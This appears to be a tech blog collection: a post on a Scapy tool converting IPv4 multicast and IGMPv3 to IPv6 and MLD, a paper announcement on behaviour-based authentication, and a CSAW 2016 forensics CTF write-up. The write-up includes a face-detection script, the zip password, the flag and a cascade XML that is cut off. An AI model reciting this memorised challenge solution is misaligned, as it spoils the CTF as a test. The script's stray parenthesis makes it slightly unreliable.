[Network] Converting IPv4 multicast into IPv6 multicast using Scapy

Introduction

This application is used for translating IPv4 multicast traffic into IPv6 multicast traffic. The application also translates IGMPv3 messages into IPv6 MLD equivalent messages.

To quickly test the application using a sample PCAP file as an input source, type in the following command (the igmpv3.pcap is included in the repo).

python ip_universe_converter.py -i igmpv3.pcap -s 10.11.12.0/24 -d fe80:0:0:0:0:0:0:0/64 --on eth0

The code can be found on Github: https://github.com/kiki-7/Ipv6MulticastConverter

Dependencies

The application is based on Python3. Therefore, one should ensure that Python3 is installed on the target environment before the application is used.
The application uses the following external libraries that need to be installed:

• Scapy v2.4.0

The library can be installed using the following command:

pip install scapy

Input and output explanation

The application can both read and write network data from PCAP files. It can also sniff network packets on a specific interface and send the converted packets to a specific interface.

Since the input and output source ranges are different, the application enables the user to define the mapping of the IPv4 to IPv6 addresses via the -s and -d options. The -s option is the source IPv4 range, and the -d option represents the target IPv6 range. The application will create a mapping based on this input. For performance reasons, the mapping is done before the input source is read. Each IPv4 address is mapped into a free (previously un-mapped) IPv6 address in the specified range.
If a new IPv4 address is located that is not part of the predefined range, then it will me mapped according to the next free IPv6 address in the supplied range.

For example, the command below will read the network packets stored in PCAP, convert them and send them to the output interface (--on) eth0. The source IPv4 range is 10.11.12.0/24, while the target IPv6 range is fc00:baba::/64. 

ip_universe_converter.py -i vlc_multicast_igmp.pcapng -s 10.11.12.0/24 -d fc00:baba::/64 --on eth0

The following command reads the network data from an interface (eth0) and send it to another interface (eth1).
ip_universe_converter.py –-in eth0 -s 10.11.12.0/24 -d fc00:baba::/64 --on eth1

Classes used in the application

The application is built using several classes defined in Python3. The table below enumerated the classes used and summarizes their purpose.

Class	Script	Summary
	ip_universe_converter.py	Contains the main method. Used to parse the command line arguments and initiate the packet translation process by invoking the appropriate classed.
InputHandler	inputHandler.py	This is an abstract class used to define an interface for various input related methods used in the application.
PcapInput	inputHandler.py	This is a concrete class which implements the InputHandler interface. The class is used to read PCAP files.
SniffInput	inputHandler.py	This is a concrete class which implements the InputHandler interface. The class is used to sniff packets on a specific interface.
SnifferThread	inputHandler.py	Used as a wrapper class for starting the Scapy network sniffer on a specific interface.
OutputHandler	outputHandler.py	This is an abstract class used to define an interface for various output related methods used in the application
PcapOutput	outputHandler.py	This is a concrete class which implements the OutputHandler interface. The class is used to write network packets into a PCAP file.
NetworkOutput	outputHandler.py	This is a concrete class which implements the OutputHandler interface. The class is used to send network packets on a specific interface.
IpAddressTranslation	ipTranslation.py	Implements the IPv4 to IPv6 mapping logic.
PacketTranslation	packetTranslation.py	Contains the main traffic translation logic. Iterated over an input source and translates IPv4 packets into IPv6 packets.

IP address mapping explanation
The IPv4 to IPv6 mapping is implemented in the PacketTranslation class located in the packetTranslation.py script. The handleTraffic method iterates over the input source one packet at a time. Only packets containing IGMPv3 messages and IPv4 multicast are processed, the rest are ignored. Scapy is used to detect the messages and its content.

IP address translation
Each IPv4 address is mapped to one IPv6 address. This mapping is stored in a dictionary defined within the IpAddressTranslation class located in the ipTranslation.py script. Before capturing the input sources, the application creates a mapping for every IPv4 defined through the -s command line option. If a new IPv4 address is found in the input packets, then the next unused IPV6 in the range (defined by -d option) is used.

IPv4 multicast to IPv6 translation
IPv4 multicast is detected using the IG bit in the Ethernet header. A multicast MAC address is distinguished by a binary '1' in the least significant bit of the first byte. All packets that have this bit set to '1' are treated as IPv4 multicast and are translated to IPv6, including their payload.

The translation is done using Scapy. The IPv4 layer of every packet is replaced with an equivalent IPv6 layer. The source and destination IP addresses are transformed as explained in the previous sections. The rest of the IPv6 header options are mapped as follows:

• The hlim field is mapped to TTL
• The nh field is mapped with the payload protocol number 
• The tc field is mapped with to TOS field

IGMPv3 to MLD translation

IGMP to MLD translation is done for the IGMPv3 Membership Query and IGMPv3 Membership Report packets. 

For every IGMPv3 Membership Query packets a new packet is created using Scapy. The IPv4 to IPv6 translation is done the same way as for multicast packets (explained in the previous section). MLD is embedded within ICMPv6 packets, therefore the ICMPv6MLQuery2 Scapy class is used to create the MLD query. MLD packets have their maximum response time expressed in milliseconds, while IGMP packets has it displayed in seconds. The rest of the fields are similar, and therefore translated directly. 

IGMPv3 Membership Report packets contain a set of records (one or more) that indicate which hosts are trying to join or leave a multicast group. Every packet is transformed into a ICMPv6 equivalent packet. 

A more detailed explanation of the mapping required for IGMPv3 to MLD can be found in [1].

Useful references

[1] https://tools.ietf.org/html/draft-perreault-pim-igmp-mld-translation-00 

[Science] New paper publication

It is with great pleasure that I can announce the publication of my latest paper in the journal Computers & Security, titled: Authentication approach using one-time challenge generation based on user behavior patterns captured in transactional data sets

The paper can be downloaded from the following link: http://www.sciencedirect.com/science/article/pii/S016740481730055X


The following is the publicly available abstract and keywords.

Abstract

Knowledge-based authentication methods have become increasingly popular, where they started as simple passwords, before evolving into static questions for fallback authentication and graphical password-based systems. Question-based authentication methods are typically based on static or slowly changing data sources, thereby making them vulnerable to eavesdropping, wiretapping, and other types of attacks. Thus, an alternative approach is needed to create an authentication challenge that could compete with other authentication factors: hardware tokens and biometrics. In this study, we propose a new authentication approach that exploits the user behavior patterns captured in non-public data sources to create unique, one-time challenges. We propose: (i) a model that is capable of representing user behavior patterns in a wide range of user activities captured from various data sources and (ii) a method for creating unique one-time challenges based on the model. We tested the model and the method based on multiple non-public data sources such as bank transactions, phone logs, computer usage data, and e-mail correspondence. We also demonstrated its efficacy with a live user pool. Security analysis indicated the full resilience of the proposed method against eavesdropping as well as its adaptability in response to guessing attacks by dynamically increasing the complexity of the challenge.

Keywords

    User authentication; One-time challenge generation; User behavior profiling; Transactional data set patterns; Knowledge-based authentication; Question-based authentication

CSAW 2016 Quals: Forensic 150 (Yaar Haar Fiddle Dee Dee) write-up

 I worked on this challenge during the "CSAW 2016" as part of a CTF team called seven.

We are presented with a PCAP dump roughly 10MB in size and need to get the flag.
Looking at the PCPA with wireshark, we can see a lot of TCP traffic - we spot an interesting port number "13337" (leeet) :)
Quickly we can create a wireshark filter that only looks for "interesting" packets:

((tcp) && (tcp.dstport == 13337 or tcp.srcport == 13337)) && (frame.len > 62) && (frame.len < 100)

There are a lot of packets of size 62 and ones that are larger than 100... so filtering the ones in between seamed like a good starting point. Sure enough we see a few interesting packets (see picture bellow) - In the data part of the TCP there are some plaintext messages.
We select any of the packets and follow the TCP stream - the resulting stream looks like it is BASE64 encoded.

The stream actually contains 3 separate files (once you try decoding them you see that it fails on certain characters which are valid BASE64 characters). So, the files are:

1. Some large audio/video type file
2. A small ZIP file
3. A XML file

The XML file (see down bellow at the end for the entire file) contained some nodes which are easily googled - it is actually a trained model for face detection for OpenCV. At first glance it contained no hidden hints so I ignored it for now...

The ZIP file is really simple - it contains a single file named "flag.txt".  Seams suspicious... :)
Of coarse, the ZIP file is password protected...

What was left was the large file which appeared not to be an ASCII file but an image. I decoded the entire stream as a single image and opened it (it was 6MB in size and only a single small image).
Looking with my hex editor I saw that there were actually more images after that small one, so i used foremost to extract them:

# foremost -t jpeg -o test/ my_0.jpg 
Processing: my_0.jpg
|*|

I got 1.003 images after this command ... and none of them helped in getting the flag (no clues)...

The logical thing was that the images contained a visual secret and that the face recognition model would help in narrowing that hint from the thousands of images... 

So I created a small python script to apply the model to each image:

import numpy as np
import cv2
from os import listdir
from os.path import isfile, join
 
face_cascade = cv2.CascadeClassifier('mapdecoded.xml')

mypath = 'output/jpg/'
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]

for image in onlyfiles:
 img = cv2.imread(mypath + image)
 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
  
 faces = face_cascade.detectMultiScale(gray, scaleFactor=1.02, minNeighbors=50)
 
 if len(faces) > 0:
  print 'Found match ..!!'
  print faces
  print image
  for (x,y,w,h) in faces:
   cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
   roi_gray = gray[y:y+h, x:x+w]
   roi_color = img[y:y+h, x:x+w])
   
  cv2.imshow(image,img)
  cv2.waitKey(0)
  cv2.destroyAllWindows()

Oh yeah, after the BAS64 data there was some text which gave us a hint about the ZIP file password (no spaces and no caps) and the parameters to set for the matching algorithm:

I don't understand, this isn't even a ma-Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50! Lastly, if ye sail the seven seas, you do be a pirate!

Surely enough, only one image actually had a match:

So it appears that the Jolly Roger sign (since it is the face that was detected) is the password, or at least a hint for the ZIP file.

After entering all possible combinations, I finally found a wiki page that said that the skull and crossbone were called the "jolly roger" - and the password was actually "skullandcrossbones".

The ZIP file is decrypted and we get the flag: flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}

---

The XML file for OpenCV:

<?xml version="1.0"?>
<opencv_storage>
<cascade>
  <stageType>BOOST</stageType>
  <featureType>HAAR</featureType>
  <height>30</height>
  <width>30</width>
  <stageParams>
    <boostType>GAB</boostType>
    <minHitRate>9.9500000476837158e-01</minHitRate>
    <maxFalseAlarm>5.0000000000000000e-01</maxFalseAlarm>
    <weightTrimRate>9.4999999999999996e-01</weightTrimRate>
    <maxDepth>1</maxDepth>
    <maxWeakCount>100</maxWeakCount></stageParams>
  <featureParams>
    <maxCatCount>0</maxCatCount>
    <featSize>1</featSize>
    <mode>BASIC</mode></featureParams>
  <stageNum>10</stageNum>
  <stages>
    <!-- stage 0 -->
    <_>
      <maxWeakCount>3</maxWeakCount>
      <stageThreshold>-7.7261334657669067e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 24 1.3377459347248077e-01</internalNodes>
          <leafValues>
            -6.1252444982528687e-01 9.0941596031188965e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 4 3.8255311548709869e-02</internalNodes>
          <leafValues>
            -5.7391923666000366e-01 7.2810024023056030e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 69 1.3842673506587744e-03</internalNodes>
          <leafValues>
            -6.4532256126403809e-01 4.1383033990859985e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 1 -->
    <_>
      <maxWeakCount>6</maxWeakCount>
      <stageThreshold>-8.2591110467910767e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 82 1.0120099782943726e-01</internalNodes>
          <leafValues>
            -5.5122953653335571e-01 8.3410674333572388e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 6 1.0150199383497238e-01</internalNodes>
          <leafValues>
            -5.4139006137847900e-01 6.3844043016433716e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 32 -1.8727437127381563e-03</internalNodes>
          <leafValues>
            5.6539773941040039e-01 -4.0142434835433960e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 89 3.0155121348798275e-03</internalNodes>
          <leafValues>
            -6.5615719556808472e-01 3.3911266922950745e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 65 -1.6402641776949167e-03</internalNodes>
          <leafValues>
            -8.0043667554855347e-01 1.7719028890132904e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 88 2.8374367393553257e-03</internalNodes>
          <leafValues>
            1.8027763068675995e-01 -7.6210975646972656e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 2 -->
    <_>
      <maxWeakCount>9</maxWeakCount>
      <stageThreshold>-1.1639107465744019e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 13 1.7647229135036469e-01</internalNodes>
          <leafValues>
            -4.7142857313156128e-01 7.9186046123504639e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 2 1.6621339321136475e-01</internalNodes>
          <leafValues>
            -4.1751232743263245e-01 5.6762564182281494e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 48 6.3619913998991251e-04</internalNodes>
          <leafValues>
            -5.1209175586700439e-01 4.3506258726119995e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 96 -2.9975571669638157e-03</internalNodes>
          <leafValues>
            -7.9736113548278809e-01 2.1787855029106140e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 93 -4.1302083991467953e-04</internalNodes>
          <leafValues>
            2.8706908226013184e-01 -6.4295625686645508e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 84 -3.4212353639304638e-03</internalNodes>
          <leafValues>
            -7.0922893285751343e-01 1.6431953012943268e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 20 3.7552635185420513e-03</internalNodes>
          <leafValues>
            -5.7783079147338867e-01 2.2884207963943481e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 91 2.4454316589981318e-03</internalNodes>
          <leafValues>
            1.1597786843776703e-01 -9.1272181272506714e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 80 3.4623834653757513e-04</internalNodes>
          <leafValues>
            -7.9409426450729370e-01 1.2430494278669357e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 3 -->
    <_>
      <maxWeakCount>12</maxWeakCount>
      <stageThreshold>-1.0153998136520386e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 82 1.3838815689086914e-01</internalNodes>
          <leafValues>
            -2.7157130837440491e-01 7.4984365701675415e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 5 1.7953444272279739e-02</internalNodes>
          <leafValues>
            -5.3070461750030518e-01 4.3870407342910767e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 98 2.3782686330378056e-03</internalNodes>
          <leafValues>
            -5.3076064586639404e-01 3.7773656845092773e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 44 3.4018503502011299e-03</internalNodes>
          <leafValues>
            -4.9649673700332642e-01 3.7702199816703796e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 120 -1.8400451517663896e-04</internalNodes>
          <leafValues>
            3.0048584938049316e-01 -5.4244798421859741e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 94 9.4413170590996742e-03</internalNodes>
          <leafValues>
            1.2891484797000885e-01 -9.2532438039779663e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 84 -6.2572369351983070e-03</internalNodes>
          <leafValues>
            -8.2129240036010742e-01 1.1797203868627548e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 41 1.5228511765599251e-03</internalNodes>
          <leafValues>
            -5.4300200939178467e-01 1.7991723120212555e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 9 -2.3266784846782684e-02</internalNodes>
          <leafValues>
            -7.4379235506057739e-01 1.6141372919082642e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 63 1.8505189800634980e-03</internalNodes>
          <leafValues>
            -2.8316953778266907e-01 3.8188931345939636e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 76 -1.8569109961390495e-03</internalNodes>
          <leafValues>
            4.8158398270606995e-01 -2.4667689204216003e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 12 1.3377957977354527e-02</internalNodes>
          <leafValues>
            -2.0978261530399323e-01 5.7678294181823730e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 4 -->
    <_>
      <maxWeakCount>13</maxWeakCount>
      <stageThreshold>-1.0937521457672119e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 24 2.1096925437450409e-01</internalNodes>
          <leafValues>
            -1.6803954541683197e-01 7.4293404817581177e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 46 7.9188104718923569e-03</internalNodes>
          <leafValues>
            -2.8488522768020630e-01 5.7220435142517090e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 3 6.1984624713659286e-02</internalNodes>
          <leafValues>
            -4.7262921929359436e-01 3.3358234167098999e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 85 -2.4572832044214010e-03</internalNodes>
          <leafValues>
            -8.7944072484970093e-01 1.6124698519706726e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 81 1.0663566645234823e-03</internalNodes>
          <leafValues>
            -6.2075209617614746e-01 1.6821675002574921e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 37 9.1570727527141571e-03</internalNodes>
          <leafValues>
            1.1967813223600388e-01 -8.1540882587432861e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 75 -6.2808701768517494e-03</internalNodes>
          <leafValues>
            -7.9322797060012817e-01 1.3456417620182037e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 121 2.4483009474352002e-04</internalNodes>
          <leafValues>
            -2.9758372902870178e-01 3.3820572495460510e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 106 1.1666008504107594e-04</internalNodes>
          <leafValues>
            -3.0289506912231445e-01 3.6561006307601929e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 107 1.0336386039853096e-03</internalNodes>
          <leafValues>
            1.4201451838016510e-01 -8.6334031820297241e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 105 -1.0963005479425192e-03</internalNodes>
          <leafValues>
            -7.8962218761444092e-01 9.1349549591541290e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 26 1.3684922596439719e-03</internalNodes>
          <leafValues>
            -5.4428642988204956e-01 1.7607933282852173e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 116 2.4082153104245663e-03</internalNodes>
          <leafValues>
            -2.0592889189720154e-01 4.5486196875572205e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 5 -->
    <_>
      <maxWeakCount>18</maxWeakCount>
      <stageThreshold>-1.1274087429046631e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 25 -2.0125441253185272e-02</internalNodes>
          <leafValues>
            6.5696597099304199e-01 -1.4838708937168121e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 114 3.0118798837065697e-02</internalNodes>
          <leafValues>
            -4.1550749540328979e-01 3.7169215083122253e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 33 -1.0762807913124561e-02</internalNodes>
          <leafValues>
            4.9916806817054749e-01 -2.2508652508258820e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 39 1.9221356138586998e-02</internalNodes>
          <leafValues>
            1.4045031368732452e-01 -9.1510039567947388e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 42 2.0907176658511162e-03</internalNodes>
          <leafValues>
            -6.5846973657608032e-01 1.3754993677139282e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 68 6.6539540421217680e-04</internalNodes>
          <leafValues>
            -3.6192888021469116e-01 2.7528679370880127e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 67 1.2015562504529953e-02</internalNodes>
          <leafValues>
            9.0668953955173492e-02 -8.4622031450271606e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 103 1.2702662497758865e-03</internalNodes>
          <leafValues>
            -5.4063570499420166e-01 1.6567414999008179e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 95 9.5476154237985611e-03</internalNodes>
          <leafValues>
            1.0920633375644684e-01 -7.8216695785522461e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 30 -1.1215604841709137e-02</internalNodes>
          <leafValues>
            6.1212885379791260e-01 -1.7217887938022614e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 38 1.5079678269103169e-03</internalNodes>
          <leafValues>
            -2.9614955186843872e-01 4.4050931930541992e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 126 -6.2295020325109363e-04</internalNodes>
          <leafValues>
            3.9620870351791382e-01 -2.2691147029399872e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 123 4.3060942552983761e-03</internalNodes>
          <leafValues>
            -1.9321586191654205e-01 4.5415228605270386e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 113 1.2627181131392717e-03</internalNodes>
          <leafValues>
            1.1014065146446228e-01 -9.0514993667602539e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 117 1.6422034241259098e-03</internalNodes>
          <leafValues>
            7.5081378221511841e-02 -7.9658424854278564e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 7 -7.4112727306783199e-03</internalNodes>
          <leafValues>
            3.0178996920585632e-01 -2.6724410057067871e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 119 2.2554639144800603e-05</internalNodes>
          <leafValues>
            1.5560455620288849e-01 -4.9410980939865112e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 54 6.8305653985589743e-04</internalNodes>
          <leafValues>
            -3.0355548858642578e-01 2.5490531325340271e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 6 -->
    <_>
      <maxWeakCount>19</maxWeakCount>
      <stageThreshold>-1.2386492490768433e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 40 3.3475808799266815e-02</internalNodes>
          <leafValues>
            -3.1291610002517700e-01 5.8234989643096924e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 108 2.0869309082627296e-03</internalNodes>
          <leafValues>
            -4.5357540249824524e-01 4.0048003196716309e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 8 7.2008490562438965e-02</internalNodes>
          <leafValues>
            -5.5817115306854248e-01 2.4090878665447235e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 29 1.4258455485105515e-03</internalNodes>
          <leafValues>
            -3.4948354959487915e-01 3.0749201774597168e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 17 3.1277488917112350e-02</internalNodes>
          <leafValues>
            1.0059669613838196e-01 -8.3201909065246582e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 53 3.0772015452384949e-03</internalNodes>
          <leafValues>
            -6.5133965015411377e-01 1.0943488031625748e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 87 -2.2086300305090845e-04</internalNodes>
          <leafValues>
            3.5542139410972595e-01 -2.3121701180934906e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 36 5.3857993334531784e-03</internalNodes>
          <leafValues>
            -2.5585448741912842e-01 4.5719194412231445e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 101 -7.8172382200136781e-04</internalNodes>
          <leafValues>
            -8.7403750419616699e-01 1.4458982646465302e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 66 6.9159711711108685e-04</internalNodes>
          <leafValues>
            -2.8976866602897644e-01 3.4993228316307068e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 59 1.2722745537757874e-02</internalNodes>
          <leafValues>
            1.0614752769470215e-01 -7.7415114641189575e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 86 -3.3022616989910603e-03</internalNodes>
          <leafValues>
            -5.0945824384689331e-01 1.6404749453067780e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 70 -1.9868051458615810e-04</internalNodes>
          <leafValues>
            1.6311998665332794e-01 -5.1577031612396240e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 73 -5.1341978833079338e-03</internalNodes>
          <leafValues>
            -7.6307177543640137e-01 9.0051032602787018e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 10 1.1894929921254516e-03</internalNodes>
          <leafValues>
            -2.3542603850364685e-01 3.4208714962005615e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 83 6.8933423608541489e-04</internalNodes>
          <leafValues>
            -3.9720448851585388e-01 2.4128234386444092e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 61 1.2901937589049339e-03</internalNodes>
          <leafValues>
            -1.9777721166610718e-01 4.5298072695732117e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 64 2.6971525512635708e-03</internalNodes>
          <leafValues>
            -3.6367958784103394e-01 2.8177151083946228e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 97 1.9246935844421387e-03</internalNodes>
          <leafValues>
            9.6392430365085602e-02 -7.7059108018875122e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 7 -->
    <_>
      <maxWeakCount>17</maxWeakCount>
      <stageThreshold>-7.5733160972595215e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 99 3.7615620531141758e-03</internalNodes>
          <leafValues>
            -2.7626457810401917e-01 5.7698291540145874e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 1 5.6125000119209290e-02</internalNodes>
          <leafValues>
            -1.9117079675197601e-01 6.6585779190063477e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 109 7.5340147304814309e-05</internalNodes>
          <leafValues>
            -4.5214951038360596e-01 2.8285443782806396e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 21 -2.7447037864476442e-03</internalNodes>
          <leafValues>
            3.2422411441802979e-01 -2.9384350776672363e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 30 1.5473550185561180e-02</internalNodes>
          <leafValues>
            -2.1517826616764069e-01 5.4589605331420898e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 49 -8.4024332463741302e-03</internalNodes>
          <leafValues>
            6.2346124649047852e-01 -1.5885776281356812e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 90 7.2873188182711601e-03</internalNodes>
          <leafValues>
            -5.0066167116165161e-01 2.2084668278694153e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 41 -2.3430876899510622e-04</internalNodes>
          <leafValues>
            -7.3920619487762451e-01 1.0514428466558456e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 14 4.4134072959423065e-03</internalNodes>
          <leafValues>
            -5.9560847282409668e-01 1.4684617519378662e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 28 1.0676614940166473e-02</internalNodes>
          <leafValues>
            1.2238918989896774e-01 -5.7692211866378784e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 31 -9.5700118690729141e-03</internalNodes>
          <leafValues>
            -7.2086977958679199e-01 1.0638175904750824e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 125 -3.6814587656408548e-03</internalNodes>
          <leafValues>
            4.4841542840003967e-01 -1.9963702559471130e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 100 2.1875433158129454e-03</internalNodes>
          <leafValues>
            8.6415298283100128e-02 -8.5992968082427979e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 51 -1.1970113962888718e-02</internalNodes>
          <leafValues>
            -6.9401562213897705e-01 8.4758862853050232e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 60 -5.0354131963104010e-04</internalNodes>
          <leafValues>
            3.5264205932617188e-01 -2.2005909681320190e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 34 2.9224462807178497e-02</internalNodes>
          <leafValues>
            1.1116728931665421e-01 -7.4302721023559570e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 47 5.9404983185231686e-03</internalNodes>
          <leafValues>
            -1.8243472278118134e-01 4.3039977550506592e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 8 -->
    <_>
      <maxWeakCount>18</maxWeakCount>
      <stageThreshold>-1.0332583189010620e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 50 1.2449319474399090e-03</internalNodes>
          <leafValues>
            -1.7983964085578918e-01 5.7854408025741577e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 71 -1.0787900537252426e-02</internalNodes>
          <leafValues>
            4.2335137724876404e-01 -3.6278292536735535e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 0 2.0860376954078674e-01</internalNodes>
          <leafValues>
            -4.8626354336738586e-01 2.5174459815025330e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 23 2.4211863055825233e-03</internalNodes>
          <leafValues>
            -3.6421075463294983e-01 2.6296493411064148e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 11 -3.7577610928565264e-03</internalNodes>
          <leafValues>
            4.6484348177909851e-01 -2.1493357419967651e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 112 1.4874317275825888e-04</internalNodes>
          <leafValues>
            -4.3502125144004822e-01 2.1088445186614990e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 22 -2.9867151752114296e-03</internalNodes>
          <leafValues>
            -7.0832252502441406e-01 1.1350621283054352e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 104 -4.3054893612861633e-03</internalNodes>
          <leafValues>
            -7.6404833793640137e-01 9.3679696321487427e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 102 -9.9378265440464020e-03</internalNodes>
          <leafValues>
            -8.4571427106857300e-01 8.6784079670906067e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 43 5.1076561212539673e-03</internalNodes>
          <leafValues>
            -2.7396127581596375e-01 3.3164530992507935e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 57 1.3581223320215940e-03</internalNodes>
          <leafValues>
            -2.7522492408752441e-01 4.3096849322319031e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 19 1.9452240318059921e-02</internalNodes>
          <leafValues>
            -1.5178191661834717e-01 5.1526969671249390e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 56 1.1165153235197067e-02</internalNodes>
          <leafValues>
            1.4689342677593231e-01 -6.7996382713317871e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 54 1.5399246476590633e-03</internalNodes>
          <leafValues>
            -2.4516202509403229e-01 3.0976790189743042e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 63 1.5184436924755573e-03</internalNodes>
          <leafValues>
            -2.2717699408531189e-01 4.5420220494270325e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 77 9.7685456275939941e-03</internalNodes>
          <leafValues>
            2.0145168900489807e-01 -4.7829699516296387e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 86 9.8696872591972351e-03</internalNodes>
          <leafValues>
